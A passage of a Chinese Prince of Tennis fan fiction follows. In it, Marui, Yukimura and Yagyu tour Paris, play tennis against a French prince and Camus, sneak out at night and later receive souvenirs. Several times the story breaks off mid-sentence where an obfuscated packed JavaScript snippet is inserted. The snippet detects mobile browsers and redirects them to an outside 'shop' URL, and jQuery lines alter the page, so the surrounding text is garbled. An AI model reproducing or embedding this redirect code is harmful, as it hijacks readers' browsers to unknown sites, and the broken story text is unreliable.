丸井文太他们班的法语课是跟E班F班一起接受共同教学,他脚步轻快地来到授课的教室,进门时眼神机敏地环视一圈。 “喔,找到了找到了——”他笑起来,拉开幸村精市前桌的椅子坐下,同时也跟坐在幸村旁边的柳生打了声招呼,“哟!” “日安,丸井君。”柳生微笑颔首,一如既往展现出风度翩翩的绅士风度。 “今天也很有活力啊。”幸村语气轻快,“我正和柳生在讨论下周的旅行,文太你看了老师发的计划书了吗?” “我大概读了下,说是要去浪漫之都的巴黎、美食之都的里昂,还有薰衣草很有名的普罗旺斯对吧?走从北到南的路线。”文太趴在椅子上,“我看行程表里面有好多博物馆和城堡参观的项目啊,不知道去买点心的自由时间够不够多。” 幸村有些无奈:“这可不是为了吃的旅行哦。” “对我来说就是这样啦!” “那丸井君要记得多换点零钱。”柳生贴心地提醒,“当地应该会有一些家庭式的店铺只接受现金。” “唔,你说的有道理。我回家要拜托妈妈准备一下……” 幸村精市和他们所聊起的旅行,是学校一年一次的海外研学活动,和常规的修学旅行不同,由于旅费高昂,这是学生自主报名的活动,通常历年的团体规模都在几十人左右。 今年立海第20回海外研学的目的地是法国,主题是艺术之旅。由于活动项目中也包含品尝当地特色美食、学习制作法式甜点一类的内容,所以吸引了丸井文太的兴趣,他当机立断地选择了报名。 后来知道幸村和柳生也提交了意愿书,同为网球部的三人便自然而然地聚在一起。 临近出门的前一天晚上,文太盘腿坐在床上整理行李,忽然灵机一动。 既然如此,那旅行的时候也把网球拍带上好了,说不定很有意思。 然后他在当天汇合时瞧见了同样背着网球包的幸村和柳生,三人对视一眼,露出同道中人的默契笑容。 24.File 23 王子 说起巴黎旅行,通常都是这样的吧。站在埃菲尔铁塔上俯瞰都市,乘坐塞纳河上的游船观览两岸的建筑风光,参观世界知名的圣母院与宫殿,还有凯旋门和香榭丽舍大街。 作为网球爱好者,在幸村精市的提议下,他们趁着自由活动时间还去参观了著名的罗兰·加洛斯球场。作为网球四大满贯赛事之一的法网公开赛举办地,独特的红土场地与丸井文太所习惯的脚感差别很大,想来网球在红土上弹跳的感觉也截然不同吧。 他将双手插在兜里,如往常一样吹出一个漂亮的泡泡,正当他稍感兴趣地思考着,不经意间抬头瞧见了幸村凝望球场的表情,心底蓦地颤了一下。 该怎么形容呢…… 那种让人头皮发紧、野心勃勃的凛然眼神。 以一年级的身份君临全日本中学生的顶端,至今未尝败绩的幸村精市,作为网球部主将的他也同样怀有立海学子争强好胜的志向,想必迟早有一天会登上更高的舞台去挑战强敌吧。 真希望到那个时候,自己还能在如此近的地方注视着幸村君。 这样想的丸井文太,完全没察觉他此刻的眼神是多么柔和。至于未来的自己会是什么模样,他反而没想那么远,只是无可自拔地沉浸于这足够幸运与幸福的当下。 话说虽然网球部三人都对法国的红土球场很感兴趣,商量着要不要晚上饭后找个就近的收费球场打球,不过意外的机会来得比他们的计划更快,还附赠了来自当地的少年作为陪练。 契机是丸井文太强烈要求打卡附近一家名为“Stohrer”的老牌甜点店。 在这个重视艺术与时尚的国度,法式甜点也向来以精致繁复的制作工艺、丰富的口感以及浪漫的风格享誉世界。琳琅满目陈列于蛋糕柜中的甜品有着许多文太只在料理书中才见过的高级品类,而且造型更是精致得如同艺术品一般,让他看得目不暇接,默默咽了好几回口水。 这家有着300年历史的老店据说是由一位波兰公主的御用甜点师开创,在公主嫁给法王路易十六之后正式落户于巴黎。作为巴黎第一家和最古老的法式甜品店,连英国的伊丽莎白女王也曾慕名造访,店内陈设也延续了凡尔赛宫的华丽风格,以壁画和镜面为主的古典装潢一直从店铺初创延续至今,烘焙蛋糕的醇香馥郁,顶上精美的水晶吊灯散发出柔和的黄光,一切的细节都萦绕着深受贵族青睐的高雅气息。 之所以如此强调这点,是当丸井文太正要请店员帮他打包一份名为“Entremet”的甜品时,旁边有一根手指几乎是与他同时指向了这个点心。 文太飞速瞧了旁边的男孩一眼,眼神很快不甘放弃地挪了回去。他是真的很想吃这个,以前在美食杂志看到过介绍,这种甜点结构复杂,自下而上分别为蛋糕层、慕斯层、夹心果胶层、奶油霜和镜面淋面层。不同食材叠加,质地丰富,每一口的口感都极富层次感。要是错过了,他晚上都会睡不着觉的! 然而事与愿违的是,店员哥哥面带歉疚的微笑对他们说:“真不凑巧,这个只有最后一个了。” 站在文太身边,有着暗红发色的法国男孩闻言,几乎是不假思索地道:“那当然是献给身为王子的我。” 这小朋友一身经典学院风的穿着,牛津纺衬衫使用高品质的天然珍珠母贝纽扣作为装饰,在不同角度下可见光彩变幻,搭配海军蓝的及膝短裤和长袜皮鞋,乍看百搭简洁,细节却相当精致考究,可见家境不凡。 由于语言的隔阂,丸井文太过了片刻才理解这个看起来只有小学年纪的小鬼居然自称为王子。 虽然没有恶意,但他还是纯粹根据自己对法国历史的了解,用自言自语的音量小声吐槽了一句:“路易十六不是被大革命推翻了吗,哪里还有王子?” “什么?!” 没想到小朋友还听得懂日语,这句话就跟捅了马蜂窝一样,对方切换成和他一样的语言,生气地大声说“你太失敬了!”,却见文太脸上不但毫无愧色,甚至还双手叉腰,仗着身高优势低下头来,眼神好奇地打量自己,对方白净的脸颊莫名其妙慢慢涨红起来。 搞什么,这副把他当小孩子的模样。 接着仍是出乎他意料的是,丸井文太下一句话并不是反击他的呵斥,也不是没把他当一回事,而是用一种商量的语气道:“你会说日语啊,那就好办了。这个甜点我不想错过,我们用猜拳来决定归属吧。对了你知道猜拳是什么吗?就是剪刀、石头和布三种手势……” “你当我是笨蛋吗?我知道这种庶民游戏!”小朋友不高兴地打断了文太的说明。 但他这句话槽点更多了,明明自称是王子却表示知道庶民游戏?丸井文太扑哧一下笑出了声。 对方也慢半拍地领会到他似乎在揶揄自己,却很难在那玩味的表情下再追加辩解。 总觉得这个人有点狡猾,却又让人怎么都对他使不出脾气,一种无处使力的古怪感觉隐约萦绕在心头。 “所以,猜拳可以吗?” “哦……好吧。”他有点不情不愿,不过猜拳这个决定方式相对公平,最终还是略显纡尊降贵地点头应允。 丸井文太见状,露出了一个微笑——那是一种如果杰克在场,必定会心生警惕的笑容。 “我说三二一,然后双方一起出手,没问题吧?” “当然。”对方严阵以待。 “很好!”文太满意地点了点头,接着用若无其事的冷静语气道,“那么,接下来我会出布。” “?”小朋友顿时一愣,大脑飞速转动起来。 出布?真的假的?他该出剪刀吗?不,如果对方预料到他出剪刀,实际上就会出石头,那他应该也出布才安全。 但要是对方也能猜到这一步该怎么办?出石头才更好吗?可万一这个人真的出布,他岂不是自投罗网? 好可恶,这个狡诈的日本人居然对小孩使用心理战术! 柳生比吕士站在街头,正在为幸村精市拍照,二人忽然听见一阵喧哗,一齐转过头去,便见甜品店的店门口,一个看起来才八九岁的法国男孩生气地伸手指向笑容满面的丸井文太,用日语大声指责他是骗子,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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根据对方措辞文雅的自我介绍,那位名为加缪的少年似乎是当地网球青少年集训营出身的高一学生,是普朗斯王子的友人,平时也担任王子的网球陪练。 网球是很考验身体基础素质的运动,年龄差距对越小的选手来说影响越大。若要让12岁的丸井文太单独对阵那位比他小近3岁的法国王子,无论怎么看都不算光彩。但法国小学生加高中生的组合对阵两名日本国中生,这样的双打也只能说勉强从年龄的平均值来看是旗鼓相当。 丸井文太临场的气息调节得极为平稳,看似非常冷静,实则心中却洋溢着雀跃的兴奋。幸村精市作为立海网球部实力最强的人物,通常是坐镇第一单打,参与双打比赛的机会少之又少。理智告诉文太,这次大概是有幸村君对红土场地感兴趣的原因存在,奈何心理上的快乐还是难以抑制,等一会儿他绝对要发邮件跟杰克好好炫耀。 嗯,等一会儿就这么办。 至于现在,当然是要专心比赛了,对吧? 25.File 24 热情 埃德加和迪莫迪是巴黎当地高中的国三学生,因为同样在网球领域怀抱着强烈的热情,并在同龄人中属于佼佼者,与普朗斯王子、加缪结为了志同道合的朋友。 在白天课程结束以后,他们经常到王子的庄园小聚,今日也是如此,但与往常不同的是,作为主人的王子竟没有与他形影不离的爱马相伴,而是与加缪在网球场那边,说是—— “欸——和异国的客人比赛啊?王子他还真有兴致。” 埃德加听见管家如此说明,脸上立刻露出感兴趣的笑容,扯了身边的迪莫迪一把。 “走吧,我们也去看看热闹。”他说。 跟着引路的女仆小姐,他们来到公馆后方的网球场。埃德加一看场上,发现竟连加缪也参与了比赛,眉梢轻轻一挑,心说这样的组合岂不是稳操胜券? 毕竟加缪可是被誉为法国网球界的未来,以对网球无与伦比的细腻理解为基础,开创了独树一帜的“革命网球”,尽管年纪尚浅,却被公认为日后有望问鼎世界舞台的强者。 这样的人再加上他们天分极高的普朗斯王子,王子虽然因过于热衷马术而导致腿力稍弱,但他的上半身锻炼得协调极佳,回球凌厉扎实,也是能在U-12级别青少年赛事中称王称霸的水准了。 然而当埃德加将视线移向场边的比分板,结果却让他大吃一惊。 5-4,加缪他们竟是落后的一方。 骗人的吧。 二人一同露出不可思议的表情。 “喂,埃德加,你快看。”一路寡言的迪莫迪忽然出声,手指对准场中忽然动作停顿的加缪。 趁这绝妙的时机,网前的丸井文太以侧滑步迅速转向,手腕微转,一记角度奇诡的削球直奔边线,干脆利落地拿下一分。 他站定脚步,将球拍扛在肩上,轻轻吹了个绿色的泡泡出来,眼睛瞄向球网对面的对手身上。 这是第三次了。文太在心里数道,感受着后方那如芒在背的凛冽气息,从幸村主动示意他摘下负重的瞬间起,某种步步紧逼的危险感觉便愈演愈盛。 连身为队友的自己都感受深切至此,他的目光落在加缪身上,只见那容姿美丽的金发少年微微阖眸,沉着冷静地握着球拍,文太不禁在心底暗自赞叹对方的心理素质。 不愧是出身于网球强国的选手,果真水准不凡。光凭他能抵抗幸村君的招式如此之久、还不乱分寸的表现,就已经胜过今年全国大赛中与幸村君交手的所有对手。 比赛最初,他们这对组合的主导权是掌握在丸井文太的手中,他的双打球商在立海队内都能算是数一数二的高,对时机的把握能力精准得老练,什么球是自己进攻的机会,什么球可以放给后方的幸村君来接,甚至细节到口头的言语斗争,适度挑拨对手的心态,从对方自身都毫无察觉的眼神变化中洞察契机。 就像那个猜拳游戏,他擅长察言观色,在社交场合是八面玲珑的人气中心,在比赛中则是心理博弈的天才。 虽然那位法国王子迅疾的回球一开始把他吓了一跳,这可不是普通小学生的水准啊,如此暗自在心中想道,亏得丸井文太的反射神经超强,险而又险地以截击拦住。 比赛在双方不知不觉间逐渐动了真格的期间持续推进,文太在前期试探中意识到加缪的难以攻克,便将回球引向普朗斯王子,让加缪没有回球机会,或者用逼迫他强行协防的方式制造防区的漏洞。 双打最考验搭档的协同能力,这方面和常见正面对决的单打不同,越是短板的一方越容易被对手集中攻击。 转折的契机出现于法国组合一次出乎意料的快速换位,加缪承接了普朗斯王子所面临的危机,接住了丸井文太的来球,同时回以毫不留手的反击。 在电光石火的那一瞬,面对那来势汹汹的网球,丸井文太的脚步几乎在与幸村精市呼喊出声的同时移动起来。 “丸井!” 绿色泡泡后方的唇角悄无声息地扬了起来,他回了一声“交给我吧!”,左手虚抬,肩膀转动,顺势挥拍。 丸井文太过于不假思索的流畅动作牵住了全场所有人的视线,然而唯有在来球无限接近于拍网的刹那,对手同时一怔,只见橙色拍框以微乎其微的距离避过了网球的轨迹,破空的气流带动他颊边的红色发丝也飞扬起来。 而在球场后方,幸村精市打出一记斜线抽球,将网球抽进与丸井文太挥拍假动作截然相反的场区,直接得分。 文太在这一球中看见了幸村激昂澎湃的战意。 自那一刻起,他们组合双打的主导权就在一种无须交谈的默契中发生了转移。 加缪手执球拍,手指来回抓握了几次拍柄,确认毫无握感。 他垂首沉吟了片刻,忽然对幸村道:“你的网球……真严厉啊。” 意志坚决地剑指胜利,不留余地,无懈可击——这是一种能彻底击溃对手战意的霸者作风。 “是吗?”幸村勾起唇角,精致的眉眼写满锋芒毕露的锐气,他用柔和却凛然的声音说,“比赛不存在模棱两可的结果,只有一方能够取得胜利。既然如此,我要成为主宰者。” 加缪闻言不由莞尔:“看来你年纪虽小,却已习惯了掌控一切。你们日本人难道不是最重视阶级关系了吗?” “确实有这个规矩……”幸村的语气里带着狡猾,幽蓝色的瞳仁里光华流转,“不过,强者至上,我可是网球部的部长哦,从一开始就是。” “原来如此,看来你也有革命家的精神。” 在幸村精市微微意外的注视下,加缪垂眸亲吻他无名指间的一枚银戒,接着一吻落在掌心所握的网球,挂在球拍的拍线上的另一枚同款戒指在阳光下熠熠生辉。 “但我对网球的热爱不会输给任何人。”他如此宣言,郑重得好似此刻身在教堂,正向一生挚爱的伴侣发出宣誓,眼底流淌着波澜万丈的深情。 尽管丸井文太为这法国人过于浮夸的感情流露而汗颜不止,但对方此后确实再也没有在与幸村君的对抗中陷入行动失常,他不得不为对方的意志强韧感到欣赏。 他向来欣赏强者,可有一点不会改变—— 心无旁骛地追求胜利,这是每个立海人的根性! 丸井文太吹出一个泡泡,脚步移动,在球场奔跑起来。 后来的比赛中,他全心全意地辅助幸村君,负责牵制住普朗斯王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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世界真广阔啊,原来国外还有那么特别的选手。 他这样想着,竟后知后觉地感到一丝遗憾,越想越是睡不着,索性半夜从床上起身,安静地发了一会儿呆。 酒店窗外悬挂着一轮皎洁白月,清冷纯澈的光线越过阳台的玻璃拉门,在幸村精市白皙的脸庞投下交错的浅淡亮色,五官轮廓线条干净,却有种胜似水晶的透明感。 “呜嗯……幸村君?” 或许是自己方才辗转反侧的动静打扰了对方吧,幸村看向旁边,隔壁床铺里窸窸窣窣冒出几缕茜色乱发,过了几息,文太将被子拉到脸下,紫眸朦胧地望向他。 幸村有些歉疚:“抱歉啊文太,我吵醒你了?” “没有……”丸井文太虽是这么说,坐起来的时候却没忍住打了个很大的呵欠,用手背揉了揉眼睛,“倒时差,有点难以入眠啊。幸村君也是吗?” “啊、嗯。”幸村精市稍显心不在焉地应了一声。 丸井文太这回是真的清醒了过来。 他偏过头,睫毛掀动,悄悄凝视了幸村精市神思不属的侧脸半晌,忽然露出一个带有浓郁孩子气的笑容。 “那……”文太压低尾音,话语中藏着蛊惑,在夜晚寂静的空气里兀自蔓延开来,又轻轻飘落到听者的心间。 “不告诉老师,我们一起偷偷溜出去玩吧。” 26.File 25 夜游 笃、笃笃。 柳生比吕士起初以为敲门声是自己的幻听,迷迷糊糊间翻了个身,枕边忽然震动的手机把他吓了一跳,反射性地伸手将其攥在掌心。 屏息注意到这番动静并未惊动隔壁床铺的同学,柳生这才缓缓松了口气。 仁王君吗?你这人能不能改改随心所欲的性格,好歹稍微考虑一下我这边的时差啊。 他在心里抱怨,伸手去摸床头的眼镜,待柳生定睛看向屏幕,发现和他预想不同,来电人居然写着丸井文太的名字。 哎呀,冤枉某人了。 柳生比吕士起身走到阳台,刚关上玻璃拉门接通电话,丸井文太朝气蓬勃的声音便从听筒,以及不远处的楼下中庭传来: “哟,比吕士!要不要一起来私奔啊?” 他低头看去,红发男孩正高高地抬起手臂向他招手示意,身边还有完全不对丸井文太这般出格之举做出阻拦的幸村精市。 隔着一段距离,柳生与对方对视一眼,不禁抿唇笑了笑。是他说错了,自己身边还有好多好多个任性妄为的家伙啊。 “哇——塞纳河晚上这边还真热闹啊。” “是啊。” “可丽饼也好吃。” “丸井君,你今天都很没有节制呢。” 面对柳生的调侃,文太装出一副这里风好大他听不见的样子,手指对准滨河步道对面灯火辉煌的宫殿:“看啊,卢浮宫现在还亮着灯呢。游客晚上还能进去吗?” “不行。”幸村速答,随即听见文太失望地“欸——”了一声,尾音拖得很长,这种随心所欲撒娇的习惯真是……他笑着说,“只有周五才有夜场,文太白天没仔细听老师介绍吗?别忘了要写研习报告哦。” 丸井文太叹了口气:“现在提醒我这个啊,幸村君也真是有够坏心眼的。” “就在外面走走也挺惬意的。你们不觉得吗?巴黎的夜风,虽然也很湿润,却比湘南要柔和很多呢。”柳生感慨,“这也是临河兴盛的城市与临海城市的区别吧,因为极少遇到风暴天灾,这里的人们将水视作生命与艺术的源泉,对爱与自由怀有如火的热情。” 原来如此。丸井文太咬着可丽饼默默点头,决定把柳生的感言抄一段到自己的作业里。 他的表情太好懂,但幸村决定暂不拆穿,只是温和地说了声“是啊”。 这个季节的巴黎比神奈川要冷上许多,更接近深秋的天气。夜晚出游,幸村精市在肩上披了件针织外套,丸井文太穿着带绒的连帽卫衣,柳生比吕士则是在衬衣外加了件长袖的羊绒衫,各自都在衣着上增加了保暖措施。 文太的可丽饼是现做的,白天吃了太多种甜食,这次选择了咸味的款式,里面加了溏心蛋、牛肉酱还有拉丝芝士。可丽饼刚装袋的时候还冒着腾腾热气,烫得他几乎拿不住,于是用偏长的袖子垫着掌心捧住食物,只从袖口探出一点点白皙的指尖。 他低下头,小口咬住饼皮酥脆的边缘,试图用嘴包住滚烫馅料的样子很像仓鼠,脸颊在红艳的发丝间若隐若现。 三人所走过的滨河步道年代久远,似乎有过翻修,但依然沧桑气质浓郁,带有一种属于旧世纪的历史厚重感。塞纳河上不再如白日一般遍布游船,但附近有一些灯火通明游船餐厅在靠近河岸的地方沉沉浮浮。 满城都飘荡着散漫闲适的空气,有一些人在步道慢跑,也有人三三两两地坐在岸边,跟船上经过的人挥手示意。 街灯温黄的光色倒映在幽蓝色的塞纳河中,那光景就仿佛梵高的《星夜》画作,晚风把河水与灯光都吹成摇晃流淌的浪漫碎片,让人放眼望去,河上尽是缤纷而多情的波光。 结果他们闲聊的话题在不知不觉间还是绕回了网球。 “文太和柳生最初是因为什么开始打网球的呢?” 面对幸村精市这个问题,丸井文太给出一个不假思索的回答:“运动消食!” 幸村忍俊不禁:“呵呵,很符合文太的特色呢。” “我的话,应该算是家庭教育的安排吧。”柳生推了推眼镜,“一开始是四大绅士运动都有涉猎,后来根据特长将精力集中在高尔夫和网球这两项上面。” “说起来,我印象中好像听说过,柳生在上学期球技大会上拿了高尔夫比赛的第二名对吧?”幸村说,“网球和高尔夫一并兼顾,很了不起哦。” 柳生微笑道:“现在已经是彻底专心于网球了。我充分认识到了把一万件事做得平庸,不如把一件事做到极致。” 幸村欣赏地颔首:“确实是这样没错。” 文太见幸村问完了他们,忽然也好奇起来:“那幸村君是因为什么呢?” “我吗?我想想啊……那时候才3岁多来着。” “哇,好小!” “嗯……好像没有什么特别的原因,只是单纯觉得好玩吧。”幸村用食指抵着下颌思考,微微望天,“不过呢,既然决定要打了——” “就要取得胜利!”三人异口同声地说,随后意气风发的视线交接,为彼此默契一致的答案一同放声大笑。 横跨塞纳河的艺术桥,那是一座造型精美的人行铁索桥,悬挂于扶栏外的“爱情锁”在风中微微作响,这座桥连接着卢浮宫与对岸的法兰西学院,在上面能够欣赏最美的巴黎河岸风光,纵然到了深夜也是游人如织。 幸村精市正拿着相机给站在一个复古铁艺路灯下方的丸井文太和柳生比吕士拍照。镜头中的文太总是自在得不见分毫局促,将剪刀手比在脸旁,灯光将他的紫色眼睛映照得绚丽明媚,透露出灿烂夺目的愉快光彩。 那笑容既甜美又显得活泼肆意,俨然让人觉得青春的光影都被浓缩在一张特写里。 不好,还得补拍一张合照。幸村正微微心虚地重新调整焦距,忽然听见有人呼唤他的名字。 “精市。” 幸村精市与文太他们一同看向出声方向,进入视野的是月光色的长发,琉璃般清透的蓝色瞳孔,以及精致得让人屏息的美貌——正是他们白日所见的法国少年加缪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763514|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 真是有缘,居然又遇到了他。 幸村对他微笑颔首,留意到加缪一身运动装束,“又见面了,你是在这边夜跑吗?” 加缪轻轻点头,又指了一下艺术桥另一头的法兰西学院:“我在那边的图书馆做义工,有时候工作结束得比较迟,就会住在附近。” 他说完这句话之后,话语停顿了一两秒,有心还想说什么,又念在他们研学期间独立行动的闲暇不多,而且应该很快就要离开巴黎,面上浮现出些许进退难舍的踌躇。 但在此刻,反而是幸村先一步道出了加缪心中的想法。 “那真是太巧了,你现在应该有时间吧。” 幸村精市向他伸开手掌,紫罗兰般的美丽眼睛带着温和而清冽的笑意,未卜先知般道出加缪心中未尽的话语。 “我先前还想着,要是有机会的话,希望能在离开这里前跟加缪你再打一次网球。这回是单打,可以吗?” “当然可以,我也正有此意。”加缪微笑地回握住幸村的手,心中的直觉告诉他,这位特别的日本人能给他的网球带来更多革新性的领悟。 场地对加缪这个当地人来说并不难找,倒是柳生在途中忽然意识到什么,低声询问文太是不是早就知道幸村有意和加缪对决。 “咦,是这样吗?” 丸井文太睁圆了他本就偏大的眼睛,似是而非的表现实在让人很难判断他是故意为之还是压根没有想那么多。柳生无言地扶了扶眼镜,镜片上掠过一道反光。 那场比赛进行的时间比所有人的预想都更长,所幸他们还是及时在拂晓时分赶回酒店。天色熹微,稀薄的金色光线从身后投向前方,三名国中生急促的脚步凌乱踏在被晨雾沾湿的石板路上,口唇呼出的热气驱散了清晨沁凉的寒意。 耳旁是伙伴们微微急促的呼吸声,幸村精市听着听着,忽然扑哧一声笑了起来。 真有趣啊,这种像是大家一起做坏事的感觉。 佐藤是立海研学团的学生之一,他是柳生比吕士的同班同学,也兼任此次旅程中的拼房舍友。 今早他被闹钟唤醒时,睁开眼就看到对面一床整洁如新的被褥,连边角的褶皱都整理得整齐非常,好似昨夜压根没有人在床上睡过。 倘若自己没有亲眼看见柳生躺在床上的话,说不定就会如此怀疑吧。 佐藤暗自心想,起身的时候正好看见打理万全的柳生从浴室走出。对方身上浆洗过的学生制服衬衫柔顺笔挺,衣扣规整地系到最后一颗。不愧是绅士,仪表也是完美无缺。 “话说,柳生你早上还要洗澡的吗?” 柳生点了点头,淡然地解释:“最近运动量不足,我起来后出去晨跑了一会儿,稍微出了些汗。” 佐藤闻言不疑有他,感慨道:“不愧是网球部成员啊,真是自律。” 柳生比吕士轻轻笑了一下,心说他和以欺诈为乐趣的仁王雅治可不同,此刻说的话绝无虚假。至于对方是如何自行理解他的起床时间,那就不是他的问题了。 27.File 26 特产 「前略,我很开心你告诉我网球部的大家一切如常。真田,这段时间还要麻烦你继续监督大家训练,辛苦你了。 我这边的旅行也非常顺利,这两天我和丸井、柳生一同参观了巴黎的很多景点,还跟当地人打了网球。法国不愧是网球强国,这里中学生的实力远高于日本同龄人,甚至不逊于我们。我看过他们的表现之后,觉得立海的大家应该也还没有完全把潜能发掘出来,回去之后有必要与柳一起探讨训练清单的改进。 你也不必再纠结于小学JR大赛输给手冢的往事了吧?世界上还有很多厉害的选手哦。 另外附上我、丸井和柳生的旅行照片。 顺带一提,现在我们正在去里昂的火车上。是从巴黎的里昂火车站(Gare de Lyon)出发,然后抵达里昂的火车站(Lyon PART Dieu),是不是听起来很有趣?听说里昂这座城市的糖渍杏仁塔很有名,丸井很期待呢。柳生似乎对当地的电影博物馆很感兴趣,里面有《哈利波特》和《星球大战》的电影道具,不知道会是怎么样的?我自己倒是更期待后天要去的普罗旺斯,那边有个名叫卡涅的小镇,是我喜欢的印象派画家——雷诺阿的生前故居,现在似乎已经改建为博物馆了。 发件人:幸村精市,收件人:真田弦一郎」 打开邮件中附带的照片,在手机中弹出来的画面是一张火车上的自拍。 幸村精市因为拿着手机,距离镜头最近,身旁是睡得口水要从嘴角流出来的丸井文太,真田看得眉头一皱,下意识说了句“太松懈了”。 坐在那二人后方位置的柳生也是难得没有拿他最爱的侦探小说消遣时间。虽然眼镜的反光让人看不清楚神色,不过瞧对方坐姿笔挺的样子,总归不像是丸井一样睡着了吧。真田暗自想着,心中对绅士寄予深厚的信任。 柳生比吕士在他看来是那种典型的家风清正的家庭培养出来的优秀子弟,谦逊正直,为人处世都符合言行规矩的典范,跟他是志同道合的同志,与散漫成性的丸井、乖张孤僻的仁王更是截然相反的两极。 好在此刻真田弦一郎无法亲赴现场,这般单方面的美好滤镜才得以维持。 至于立海网球部的训练菜单又将迎来版本更新这件事,此刻睡得正香的丸井文太是一概不知的。尽管一夜未眠,他到底是正处于最有活力的年纪,在列车的摇晃中补了两个小时的觉就彻底恢复了元气。 文太睁开眼睛的时候,正好看到幸村在用手机编辑邮件内容,刚醒过来的他慢吞吞地思索着自己也该给家中弟弟们发点什么,视线无意识地捕捉到了幸村面前小桌上摆着的一小瓶蜜饯。紫色的,是葡萄吗? 他顺着自己心中的猜测,好奇地问了出来。 “嗯?”幸村顺着文太的目光瞧了一眼,“这个呀,糖渍的紫罗兰。” 他一边说一边把蜜饯的瓶子拿起来打开,解释说这好像是南法地区的特产,他看着觉得很有趣所以买了。 “欸——用花来做的啊,还真少见。” 文太的眼睛跟着蜜饯移动,幸村见此有些忍俊不禁,从中拈起一片,伸向文太的方向。 “要吃吗?” “嗯!” 其实任何人都清楚,丸井文太对食物来者不拒。 压根不需要多此一问的吧。幸村精市这么想着,甚至在发问前就已自然地将蜜饯递了过去。 然而,直到动作完成的瞬间,他才蓦地察觉一丝不妥。 幸村的视线放在手指越来越近的距离,心底涌现出迟疑的情绪,只是那种感觉还没像是气泡般随着上浮变得越来越大—— 丸井文太自然至极地探头过来,灵巧地衔住蜜饯。 那种亲近和无防备都太过理所当然,让他心中无法言明的生涩感觉也如同破开的气泡一般消散无踪。 幸村精市轻轻眨了眨眼睛,觉得自己的指尖好像在不经意间碰到了对方的唇。 温热而柔软的触感很短暂地揉过神经末梢,让他的动作微不可查地停顿了一瞬间。 他垂下眼睑,看向丸井文太洋溢着满足表情咀嚼的模样。 “怎么样?”他问。 “Nice choice!”对方竖起拇指给出高度评价,“甜甜的,虽比水果蜜饯清淡,但嚼起来有花香,显得很优雅……是很有幸村君风格的风味。” 我的风格啊,真是特别的评价。幸村失笑。 “那、我就当作夸奖接受吧。” 然后关于这次赴法的研学旅行,还有一个后续事件值得一提。 时间大致在他们回国的两三周以后,大概在月底的时候,幸村精市拿到了一份来自法国的国际邮件。因为收件人的名字写着他、丸井文太和柳生比吕士,他特地把箱子拿到网球部拆。 “这是什么?” 连其他人也凑了过来。 莫非是有什么忘在那边的东西?蹲在旁边的丸井文太默默吹起一个泡泡,努力翻找自己的记忆却仍是徒劳无功。 “说是特产。”幸村精市说,“上周加缪跟我要了寄件的地址。” 据文太所知,加缪似乎在幸村归国之后也继续不定期地通过SNS与他维持交流,看来那相互欣赏的二人已经发展成了不错的交情。 不过呢,说起来自法国的特产啊…… 他双眼唰地一亮,双拳握紧,脸上浮现出具现化的期待:“该不会……是好吃的?!” 杰克微微扶额:“文太,你回国的时候不是已经带回一个行李箱的甜食了吗?” “那些一个星期就消耗干净了啦。”文太用理所当然的语气回答。 “你的脑子里还有除了吃和想吃以外的东西吗……”仁王一脸无语。 “啰嗦!”文太愤怒转头,“那不分给你吃了!就这样决定了!” “piyo,这可不行。” 幸村正在用剪刀开箱子,因为他俩在附近从斗嘴进阶到拉扯的动作有点危险,真田很快把二人都揪起来罚去操场跑圈。 “切——” 文太临走前依依不舍地瞅了箱子好几次,有心想等着看一眼再去跑步。只是他这点毫不遮掩的小心思连真田都看得一清二楚,对方有心要给他个教训,便不由分说地把满脸不服气的红发男孩赶出部室。 正打算对另一个顽皮分子如法炮制,仁王掐准他动手之前的时机经过真田身边,懒洋洋道了句“不劳驾您费心了”,随后把双手插进兜里,晃晃悠悠地跟上丸井文太。 真田弦一郎瞥了他的背影一眼,不动声色地皱起眉头。 论个性,仁王比丸井更桀骜不驯。问题在于,纵然那家伙一贯是一匹独狼的行动模式,偏偏遇上最擅长把人卷进去一起胡闹的丸井…… 他微微叹了口气,不管把那二人单独放在哪里,都有种无法心安的感觉。 事实上丸井文太和仁王雅治也确实在一前一后走出部室之后,就直接在网球场外的草地坐了下来。 “喂,不去跑步吗?” “谁要跑啊,你去吗?” “我又不傻。” 那不就得了。文太暗自嘀咕,接着听见仁王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768867|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一声,身体向后一仰,慵懒地躺在草坪。 “真田那家伙太古板了。” “嗯。不过确实闹过火了有可能撞到幸村君,所以我在反省了。在心里。” “只在心里没有诚意呐。” “要你管。” 差不多再等一会儿就回去吧。丸井文太在心中精明地盘算,如果特产是甜食,他知道柳、真田和柳生都是清淡系的口味,不会拿太多,杰克呢肯定会留给他吃,幸村君当然是想吃多少就吃多少,不过鉴于对方对食物的兴趣通常处于浅尝辄止的范畴,定然还留有他的份。 